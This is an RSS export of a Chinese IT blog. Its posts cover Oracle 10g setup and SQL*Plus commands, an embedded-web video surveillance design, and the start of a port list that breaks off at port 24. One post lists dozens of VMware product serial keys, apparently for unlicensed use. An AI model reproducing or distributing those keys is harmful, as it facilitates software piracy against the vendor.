<p>oracle用户的环境变量设置<br>以oracle用户身份登录系统。<br>编辑.bash_profile文件。添加以下内容：（具体值请根据自己的情况设置）<br>export ORACLE_BASE=/u01/app/oracle<br>export ORACLE_HOME=$ORACLE_BASE/product/10g<br>export ORACLE_SID=DEMO<br>export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib<br>export LC_CTYPE=en_US.UTF-8<br>并且把PATH=$PATH:$HOME/bin一行修改为PATH=$PATH:$HOME/bin:$ORACLE_HOME/bin<br>保存，退出。<br>然后运行命令source .bash_profile 使环境变量生效。</p>
<p>安装oracle<br>从oracle网站上下载10201_database_linux32.zip。解压。<br>进入到解压后的目录。运行./runInstaller安装。按照默认值安装既可。</p>
<p>Comments(0)&nbsp; <br>.</p>
<p><a href="http://www.linuxeden.com/doc/26838.html">http://www.linuxeden.com/doc/26838.html</a>&nbsp; 用linux完成oracle自动物理备份</p>
<p><a href="http://www.linuxeden.com/">http://www.linuxeden.com/</a>&nbsp; LINUX基本论坛</p>
<p><a href="http://book.csdn.net/bookfiles/292/10029212533.shtml">http://book.csdn.net/bookfiles/292/10029212533.shtml</a> ORACLE10G书籍站点</p>
<p><br><a href="http://www.soft6.com/know/detail.asp?id=BAAEJB">http://www.soft6.com/know/detail.asp?id=BAAEJB</a></p>
<p>SQL&gt; show user --显示当前连接用户 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; show error　　　　　　　　　　　　　　　 --显示错误 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set heading off --禁止输出列标题，默认值为ON </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set feedback off --禁止显示最后一行的计数反馈信息，默认值为"对6个或更多的记录，回送ON" </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set timing on --默认为OFF，设置查询耗时，可用来估计SQL语句的执行时间，测试性能 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set sqlprompt "SQL&gt; " --设置默认提示符，默认值就是"SQL&gt; " </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set linesize 1000 --设置屏幕显示行宽，默认100 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set autocommit ON --设置是否自动提交，默认为OFF </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set pause on --默认为OFF，设置暂停，会使屏幕显示停止，等待按下ENTER键，再显示下一页 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set arraysize 1 --默认为15 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL&gt; set long 1000 --默认为80 </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 说明：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long值默认为80，设置1000是为了显示更多的内容，因为很多数据字典视图中用到了long数据类型，如： </p>
<p>SQL&gt; desc user_views<br>列名&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可空值否&nbsp;&nbsp; 类型<br>------------------------------- -------- ----<br>VIEW_NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NOT NULL VARCHAR2(30)<br>TEXT_LENGTH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NUMBER<br>TEXT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG </p>
<p>SQL&gt; define a = '''20000101 12:01:01'''&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --定义局部变量，如果想用一个类似在各种显示中所包括的回车那样的常量，<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --可以用define命令来设置<br>SQL&gt; select &amp;a from dual;<br>原值&nbsp;&nbsp;&nbsp; 1: select &amp;a from dual<br>新值&nbsp;&nbsp;&nbsp; 1: select '20000101 12:01:01' from dual </p>
<p>'2000010112:01:01<br>-----------------<br>20000101 12:01:01</p>
<p><br>问题提出： <br>1、用户需要对数据库用户下的每一张表都执行一个相同的SQL操作，这时，一遍、一遍的键入SQL语句是很麻烦的 </p>
<p>实现方法： <br>SQL&gt; set heading off --禁止输出列标题<br>SQL&gt; set feedback off --禁止显示最后一行的计数反馈信息 </p>
<p>列出当前用户下所有同义词的定义，可用来测试同义词的真实存在性<br>select 'desc '||tname from tab where tabtype='SYNONYM'; </p>
<p>查询当前用户下所有表的记录数<br>select 'select '''||tname||''',count(*) from '||tname||';' from tab where tabtype='TABLE'; </p>
<p>把所有符合条件的表的select权限授予为public<br>select 'grant select on '||table_name||' to public;' from user_tables where 《条件》; </p>
<p>删除用户下各种对象<br>select 'drop '||tabtype||' '||tname from tab; </p>
<p>删除符合条件用户<br>select 'drop user '||username||' cascade;' from all_users where user_id&gt;25; </p>
<p>快速编译所有视图 <br>----当在把数据库倒入到新的服务器上后(数据库重建)，需要将视图重新编译一遍，<br>----因为该表空间视图到其它表空间的表的连接会出现问题，可以利用PL/SQL的语言特性，快速编译。 </p>
<p>SQL&gt; SPOOL ON.SQL<br>SQL&gt; SELECT'ALTER VIEW '||TNAME||' COMPILE;' FROM TAB;<br>SQL&gt; SPOOL OFF<br>然后执行ON.SQL即可。<br>SQL&gt; @ON.SQL<br>当然，授权和创建同义词也可以快速进行，如：<br>SQL&gt; SELECT 'GRANT SELECT ON '||TNAME||' TO 用户名;' FROM TAB;<br>SQL&gt; SELECT 'CREATE SYNONYM '||TNAME||' FOR 用户名.'||TNAME||';' FROM TAB; </p>
<p>SQL*PLUS常用命令列表 </p>
<p>[ 天堂之水&nbsp; 2002年9月18日，阅读人数36人 ]</p>
<p>软件环境： <br>1、Windows 98 第二版<br>2、Oracle数据库版本为：Personal Oracle7 Release 7.3.4.0.0<br>3、Oracle安装路径为：C:\ORAWIN95 </p>
<p>命令列表： <br>假设当前执行命令为：select * from tab; </p>
<p>(a)ppend　　　　 添加文本到缓冲区当前行尾　　　　a&nbsp; order by tname　结果：select * from tab order by tname;<br>　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（注：a后面跟2个空格）<br>(c)hange/old/new 在当前行用新的文本替换旧的文本　c/*/tname　　　　　结果：select tname from tab;<br>(c)hange/text　　从当前行删除文本　　　　　　　　c/tab　　　　　　　结果：select tname from ;<br>del　　　　　　　删除当前行<br>del n　　　　　　删除第n行<br>(i)nput 文本　　 在当前行之后添加一行<br>(l)ist　　　　　 显示缓冲区中所有行<br>(l)ist n　　　　 显示缓冲区中第 n 行<br>(l)ist m n　　　 显示缓冲区中 m 到 n 行<br>run　　　　　　　执行当前缓冲区的命令<br>/　　　　　　　　执行当前缓冲区的命令<br>r　　　　　　　　执行当前缓冲区的命令<br>@文件名　　　　　运行调入内存的sql文件，如： </p>
<p>SQL&gt; edit s&lt;回车&gt;<br>如果当前目录下不存在s.sql文件，则系统自动生成s.sql文件，<br>在其中输入&#8220;select * from tab;&#8221;，存盘退出。 </p>
<p>SQL&gt; @s&lt;回车&gt;<br>系统会自动查询当前用户下的所有表、视图、同义词。 </p>
<p>@@文件名　　　　 在.sql文件中调用令一个.sql文件时使用 </p>
<p>save 文件名　　　将缓冲区的命令以文件方式存盘，缺省文件扩展名为.sql<br>get 文件名　　　 调入存盘的sql文件<br>start 文件名　　 运行调入内存的sql文件 </p>
<p>spool 文件名　　 把这之后的各种操作及执行结果&#8220;假脱机&#8221;即存盘到磁盘文件上，默认文件扩展名为.lst<br>spool　　　　　　显示当前的&#8220;假脱机&#8221;状态<br>spool off　　　　停止输出 </p>
<p>例：<br>SQL&gt; spool a<br>SQL&gt; spool<br>正假脱机到 A.LST<br>SQL&gt; spool off<br>SQL&gt; spool<br>当前无假脱机 </p>
<p>exit　　　　　　 退出SQL*PLUS<br>desc 表名　　　　显示表的结构<br>show user　　　　显示当前连接用户<br>show error　　　 显示错误<br>show all　　　　 显示所有68个系统变量值<br>edit　　　　　　 打开默认编辑器，Windows系统中默认是notepad.exe，把缓冲区中最后一条SQL语句调入afiedt.buf文件中进行编辑<br>edit 文件名　　　把当前目录中指定的.sql文件调入编辑器进行编辑 </p>
<p>clear screen　　 清空当前屏幕显示</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/27202.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-05-18 15:51 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27202.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VMware 注册码大全</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27201.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 18 May 2007 07:48:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27201.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/27201.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27201.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/27201.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/27201.html</trackback:ping><description><![CDATA[<p>VMware 注册码大全</p>
<p>VMware Workstation4.xx for Windows<br>ZHDH1-UR90N-W844G-4PTN6<br>G1NP0-T88AL-M016F-4P8N2</p>
<p>VMware-workstation-4.xx for Linux <br>ZC14J-4U16A-0A04G-4MEZP<br>J1WF8-58LDE-881DG-4M8Q3</p>
<p>VMware Workstation 5.xx For Windows <br>LUXRM-WP0DN-A256U-4M9Q3<br>DJXDR-NDT27-Y2NDU-4YTZK</p>
<p>VMware Workstation 5.xx for Linux <br>DA925-HP80U-Z8HDC-4WXXP<br>3KW2W-AYR2C-88M6F-4MDQ2</p>
<p>VMware Workstation 6.xx for Windows <br>YJEKW-JMFF4-YA1DC-4WTQP</p>
<p>VMware Workstation 6.xx for Linux<br>LR5HT-16602-T814A-4MEN2<br>THWW8-HRZAH-A24FA-4YTN3</p>
<p>VMware.GSX.Server.3.xx/vmware server 1.xx for.Windows<br>98XY4-54VA4-4216V-4PDZ6<br>WH0M5-XW50J-WA4FU-4MTZ3</p>
<p>VMware-gsx-server-3.xx/vmware server 1.xx&nbsp; for Linux<br>N218N-NR66R-F0JDF-4P9NP<br>H2W8H-X82DC-J8N6G-4M9Q6</p>
<p>VMWare ESX Server 2.x<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0VHD0-0P86V-0C0AH-4018N<br>SMP&nbsp;&nbsp;&nbsp; 0KR08-02CAH-0DJ2H-48124&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 02M8R-0HA2N-0CK8M-42JAN<br>SMP&nbsp;&nbsp;&nbsp; 0AMDE-0UWFP-0E601-42J84</p>
<p>VMware Ace 1.xx<br>admin:8H18E-8U505-HA14Z-4P8QL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RCT0X-XHN8U-H20FY-4W9ZP<br>player:WC94X-3H90R-K05DU-4MTN3<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DHHF8-K0P6P-Z25DY-4YENK<br>workstation:TKN8T-1UD2Q-70N4C-4YXXQ<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AJMMN-3YUDP-8ANFG-4WWX2</p>
<p>VMware VirtualCenterV1.2.0<br>&nbsp;FAqDRcTw.txt (829 Bytes) FAqDRcTw.txt (829 Bytes)<br>[推荐]【VMWARE序列号大全】</p>
<p>VC 1.x管理GSX的SN<br>QU9HW-NM5FT-VAJ4G-5W9N3<br>VHM05-U0Q27-E0HFA-5WRXL</p>
<p>virtualcenter 1.x 最全和最强的license<br>virtualcenter : 921H4-7WR4V-T2NDC-5YDZK <br>vmotion :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8VN44-Q8PD9-P0NFY-5PWZL&nbsp; <br>esx：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XL584-9PH2Z-02H4C-5P9XL&nbsp; <br>gsx:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EH8M0-5RP8Y-M804F-5MRN3&nbsp; </p>
<p>VMware.P2V.Assistant.v2.xx<br>L80ME-56Q6F-U8M4F-5WEQQ<br>4KE0R-0A04Q-H05DZ-5WEZL</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/27201.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2007-05-18 15:48 <a href="http://www.cnitblog.com/szdlinxie/archive/2007/05/18/27201.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>基于嵌入式WEB的网络视频监控系统的设计与实现</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 19 Dec 2006 02:29:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20761.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20761.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20761.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="558" border="0">
				<tbody>
						<tr>
								<td valign="center" align="right" colspan="2" height="32">
										<div class="style7" align="center">
												<span style="FONT-SIZE: 12pt">
														<b>基于嵌入式WEB的网络视频监控系统的设计与实现</b>
												</span>
										</div>
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
								</td>
						</tr>
						<tr>
								<td valign="center" align="right" colspan="2" height="20">
										<div align="center"> </div>
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" colspan="2" height="10">
								</td>
						</tr>
						<tr>
								<td valign="top" align="right" width="2%" height="10">
										<div align="left">
										</div>
								</td>
								<td valign="top" align="right" width="98%" bgcolor="#ffffff">
										<div class="daxiao14" align="left">
												<p class="main">
														<strong>   </strong>
														<strong>摘 </strong>
														<strong>
														</strong>
														<strong>要 </strong>本文介绍了一个基于嵌入式WEB技术的网络视频监控系统的设计与实现，重点阐述其嵌入式服务器软硬件部分的设计思想和体系架构，并对其中涉及的若干关键技术进行了较为详细的介绍。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>关键词 </strong>嵌入式系统 网络视频监控 LINUX WEB MPEG-4</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>1 </strong>
														<strong>基于嵌入式WEB技术的网络视频监控系统概述</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>目前，以网络为基础的数字视频监控系统是视频监控系统发展的主流，而随着微处理器技术、计算机网络技术的进步，基于嵌入式WEB的网络视频监控系统逐渐得到了人们的广泛关注，其主要原理是：嵌入式视频服务器采用嵌入式实时操作系统，内置嵌入式WEB服务器，摄像机传送过来的视频信号经高效压缩芯片压缩后，通过内部总线传送到内置的WEB服务器。用户在监控端可以直接通过浏览器观看WEB服务器上的摄像机视频图像，授权用户还可以控制摄像机云台镜头的动作。本文所述的监控系统的原理图如图1所示。</p>
												<p align="center">
														<img height="331" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211450.gif" width="430" />
												</p>
												<p align="center">图 1 嵌入式视频监控系统示意图</p>
												<p class="main">本系统由摄像机、嵌入式WEB服务器、传输网络和监控端组成。摄像机用来采集监控现场的视频。嵌入式WEB服务器是整个监控系统的核心，有硬件和软件两个部分，详细结构将在下面分别介绍。其主要功能包括：为监控端提供WEB访问页面；对监控端的访问进行有效性、安全性检查；响应监控端的请求，为监控端提供所需要的视频图像；接收监控端的控制信息，经过软硬件转换后对摄像机进行控制。每个服务器有自己的IP地址，在监控端可以通过浏览器界面访问服务器。监控端的功能则是显示现场视频，并根据需要向服务器发送视频请求以及对摄像机的控制信号。</p>
												<p class="main">
														<strong>
														</strong>
														<strong>
																<strong>   </strong>
																<strong>
																</strong>2 </strong>
														<strong>嵌入式 </strong>
														<strong>WEB </strong>
														<strong>服务器的硬件结构 </strong>
												</p>
												<p class="main">嵌入式WEB服务器的硬件结构如图2所示。其主要由CPU芯片、MPEG-4音视频编码芯片、Flash芯片、SDRAM内存、以太网络接口、大容量硬盘组成。其中CPU采用MOTOROLA公司的PowerPC系列嵌入式通信处理器MPC8250。MPEG-4音视频编码芯片完成对从摄像头传送过来的视频数据的压缩和编码。根据网络带宽、拓扑结构以及对图像质量的要求，本系统选用基于MPEG-4标准的分层可扩展性编码方案。压缩后的视频数据根据需要，可以存储在大容量硬盘中，或者通过以太网进行网络传输。为了实现视频存储功能，需要采用大容量的硬盘。</p>
												<p align="center">
														<img height="357" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211451.gif" width="558" />
												</p>
												<p align="center">图 2 嵌入式 WEB 服务器的硬件结构 </p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>3 </strong>
														<strong>嵌入式 </strong>
														<strong>WEB </strong>
														<strong>服务器的软件系统</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>嵌入式WEB服务器的软件设计与实现是本系统实现的关键之一，包括嵌入式操作系统与应用软件两大部分。 <strong></strong></p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<span class="style17">
																		<font color="#0000ff">3.1 </font>
																</span>
														</strong>
														<span class="style17">
																<strong>
																		<font color="#0000ff">嵌入式操作系统</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>嵌入式操作系统是支持嵌入式系统应用的操作系统软件，是在系统实时性、硬件相关性、软件固态化等方面有着突出特点的专用操作系统。本系统采用嵌入式LINUX操作系统，它是在根据系统需要对LINUX操作系统进行小型化裁剪与实时化的基础上实现的。使用LINUX的优势在于：其操作系统的源代码是开放的，可根据需要进行定制；系统内核小，因而对硬件的要求相对要低；支持多任务多进程，能提供较好的实时性。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<span class="style17">
																		<font color="#0000ff">3.2 </font>
																</span>
														</strong>
														<span class="style17">
																<strong>
																		<font color="#0000ff">应用软件 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>服务器的应用软件结构如图3所示。其主要由WEB服务器、CGI程序、嵌入式数据库mSQL、视频调度与传输模块、存储管理与调度模块、摄像机控制模块等几个重要部分组成。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.1 WEB服务器与CGI程序</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>WEB服务器通过HTTP协议与监控端浏览器软件进行信息交互，提供其他应用程序模块的接口以及视频数据浏览界面和摄像机控制界面。此外，它还要对监控端的访问权限进行控制，过滤监控端的请求和控制信息，处理多个监控端的请求和控制的同步和优先级问题。 本系统选择适合于嵌入式系统的Boa WEB服务器。Boa是一个单任务的HTTP服务器，支持能够实现动态WEB技术的CGI技术，源代码开放、性能高。同时服务器程序本身所占空间很小，因而十分适用于嵌入式系统。 同时，本系统采用了CGI(公用网关接口) 来实现动态WEB技术，CGI规定了WEB服务器调用其他可执行程序(CGI程序)的接口协议标准。WEB服务器通过调用CGI程序实现和浏览器的交互，也就是CGI程序接受浏览器发送给WEB服务器的信息，进行处理，将响应结果再回送给WEB服务器及浏览器。原则CGI程序可以用任何程序设计语言编写，但是用C语言编写的CGI程序具有执行速度快、安全性高等特点。</p>
												<p align="center">
														<img height="373" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211452.gif" width="414" />
												</p>
												<p align="center">图3 嵌入式 WEB 服务器的应用软件结构</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.2嵌入式数据库mSQL </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>在本系统中，用户信息的存储，用户的登录登出，视频设备参数的存储与查询，视频文件的存储与查询等，都需要一个嵌入式数据库。综合考虑，本系统使用mSQL(MiniSQL)作为本系统的后台数据库。mSQL是一款优秀的嵌入式数据库，体系结构小巧，占用系统资源少，特别适合在嵌入式Linux系统中使用。同时，mSQL提供专门的API函数，使得用C语言编写的CGI程序可以与mSQL的数据库引擎进行通信。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.3视频调度与传输模块</font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>视频调度与传输模块为监控端提供所需的实时视频信息，是服务器应用软件中最重要的模块。该模块根据所采取的网络传输与控制协议与监控端建立连接，监听监控端的请求；同时又根据不同的服务类型采取相应的调度策略创建视频流，然后将视频数据分组、打包，发送到监控端，并根据路由器和监控端反馈的网络状态信息进行差错处理和拥塞控制。</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>视频数据的传输一般采UDP网络通讯协议，而采用UDP的IP传送方式有点播、广播和组播三种，其中组播是服务器只向特定的用户组发送一个数据包，组中的各用户可以共享这一数据包，而组外的用户却无法接收到。本系统采用IP组播方式，采用组播技术的优点有以下几点:可以让服务器承担大量客户端的视频数据播送要求;由于数据包拷贝数量和发送目的地址少，大大减少了网络中传输的数据总量，从而保证较高的服务质量；减小了视频数据流传输的带宽占用，减轻了服务器的负担。</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本系统采用的网络传输协议使用RTP/UDP/IP模型。RTP协议是一种提供端对端的实时媒体传输服务的协议，由实时传输协议RTP和实时传输控制协议RTCP两个部分组成。RTP用于实时视频数据的传输，而RTCP则用来监控实时视频数据的传输。RTP/UDP/IP的方式兼顾了视频传输的实时性与QoS保证。同时针对传输网络状况的不确定性，还可以采取一定的拥塞控制和差错控制策略。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.4存储管理与调度模块 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>存储管理模块的主要功能是将压缩和编码后的视频信息根据一定的策略存储至磁盘中特定的区域，并将视频文件信息存储到嵌入式数据库中，以供检索与回放，同时响应视频调度与传输模块的请求，按照一定的磁盘调度策略和优先级顺序从磁盘中读取视频数据至内存缓冲区。对于存储管理，本系统采用等长分组存储策略，即将视频信息按照时序关系分割成若干数据单元，这些数据单元称为分组，将每个分组存储于一个大小固定的存储单元内。</p>
												<p class="main">
														<strong>   </strong>
														<span class="style18">
																<strong>
																		<font color="#ff0000">3.2.5摄像机控制模块 </font>
																</strong>
														</span>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>摄像机控制模块主要实现对摄像机的控制。在监控端，用户通过浏览器向WEB服务器发送摄像机控制命令，该控制命令经WEB服务器接受和处理后，再通过CGI程序发送给摄像机控制模块，然后被转换成相应的对摄像机控制的硬件操作指令，从而实现对摄像机云台镜头的远程控制。</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>4 </strong>
														<strong>监控端浏览</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本系统在监控端使用浏览器对监控现场进行监控，浏览器所运行的平台与嵌入式WEB服务器所运行的平台独立，浏览远程视频时不需要任何第三方软件，从而实现了跨平台。使用本系统在监控端浏览视频的界面如图4所示。</p>
												<p align="center">
														<img height="348" src="http://www.51testing.com/ddimg/uploadimg/20051205/1211453.gif" width="462" />
												</p>
												<p align="center">图 4 监控端浏览视频界面</p>
												<p class="main">
														<strong>
																<strong>   </strong>
																<strong>
																</strong>5 </strong>
														<strong>结束语 </strong>
														<strong>
														</strong>
												</p>
												<p class="main">
														<strong>   </strong>
														<strong>
														</strong>本文介绍了一个基于嵌入式WEB技术的网络视频监控系统的设计与实现，与传统的网络视频监控系统相比，本系统的主要特点在于：服务器的设计基于嵌入式WEB技术；支持动态IP，可以直接连入以太网，能够即插即看；用户无需使用专用软件，仅用浏览器即可观看；同时系统采用先进了的MPEG-4编码标准，在提高了视频质量的同时大大减少了数据量。相信随着网络视频监控的流行，基于嵌入式WEB的网络视频监控系统必将有良好的发展前景。</p>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20761.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-19 10:29 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20761.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>端口大全</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 19 Dec 2006 02:25:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20760.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/19/20760.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20760.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20760.html</trackback:ping><description><![CDATA[
		<div class="style7" align="center">
				<span style="FONT-SIZE: 12pt">
						<b>
								<table cellspacing="0" cellpadding="0" width="558" border="0">
										<tbody>
												<tr>
														<td valign="center" align="right" colspan="2" height="32">
																<div class="style7" align="center">
																		<span style="FONT-SIZE: 12pt">
																				<b>端口大全</b>
																		</span>
																</div>
														</td>
												</tr>
												<tr>
														<td valign="center" align="right" bgcolor="#000000" colspan="2" height="1">
														</td>
												</tr>
												<tr>
														<td valign="center" align="right" colspan="2" height="20">
																<div align="center">文章出处：http://www.programfan.com/ 作者：不详 发布时间：2005-11-23</div>
														</td>
												</tr>
												<tr>
														<td valign="top" align="right" colspan="2" height="10">
														</td>
												</tr>
												<tr>
														<td valign="top" align="right" width="2%" height="10">
																<div align="left">
																</div>
														</td>
														<td valign="top" align="right" width="98%" bgcolor="#ffffff">
																<div class="daxiao14" align="left">1　tcpmux　TCP Port Service Multiplexer 传输控制协议端口服务多路开关选择器 <br />2　compressnet　Management Utility　　　　 compressnet 管理实用程序 <br />3　compressnet　Compression Process　　　　压缩进程 <br />5　rje　Remote Job Entry　　　　　　　　　 远程作业登录 <br />7　echo　Echo　　　　　　　　　　　　　　　回显 <br />9　discard　Discard　　　　　　　　　　　　丢弃 <br />11　systat　Active Users　　　　　　　　　 在线用户 <br />13　daytime　Daytime　　　　　　　　　　　 时间 <br />17　qotd　Quote of the Day　　　　　　　　 每日引用 <br />18　msp　Message Send Protocol　　　　　　 消息发送协议 <br />19　chargen　Character Generator　　　　　 字符发生器 <br />20　ftp-data　File Transfer [Default Data]　文件传输协议(默认数据口)　 <br />21　ftp　File Transfer [Control]　　　　　　文件传输协议(控制) <br />22　ssh　SSH Remote Login Protocol　　　　 SSH远程登录协议 <br />23　telnet　Telnet　　　　　　　　　　　　 终端仿真协议 <br />24　?　any private mail system　　　　　　 